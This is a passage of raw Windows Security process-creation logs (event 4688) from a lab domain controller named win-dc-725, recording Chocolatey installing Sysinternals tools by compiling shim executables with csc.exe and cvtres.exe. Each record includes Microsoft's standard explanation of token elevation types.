ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246789 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psping.exe" --output="C:\ProgramData\chocolatey\bin\psping.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psping.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246788 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFD18.tmp" "c:\ProgramData\chocolatey\bin\CSC14A4FBD32C374112B3D3881FEDFDD81.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246787 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246786 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb38 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pspasswd64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246785 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb38 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246784 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pspasswd64.exe" --output="C:\ProgramData\chocolatey\bin\pspasswd64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pspasswd64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246783 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x468 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFC3D.tmp" "c:\ProgramData\chocolatey\bin\CSCA4923CAB72A14306964F3CB8778DAC4.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246782 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe74 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x468 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246781 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x468 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pspasswd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246780 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246779 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pspasswd.exe" --output="C:\ProgramData\chocolatey\bin\pspasswd.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pspasswd.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246778 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x57c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFB72.tmp" "c:\ProgramData\chocolatey\bin\CSC458D6B87D3804B4C8678E38CBB9E5B45.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246777 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x57c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246776 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x990 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psloglist64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_0363\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246820 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x844 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xafc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246819 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pssuspend64.exe" --output="C:\ProgramData\chocolatey\bin\pssuspend64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pssuspend64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246818 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xae4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb10 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES229.tmp" "c:\ProgramData\chocolatey\bin\CSC91AE1E33E6F64ED19BFB4D81E71CA878.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the 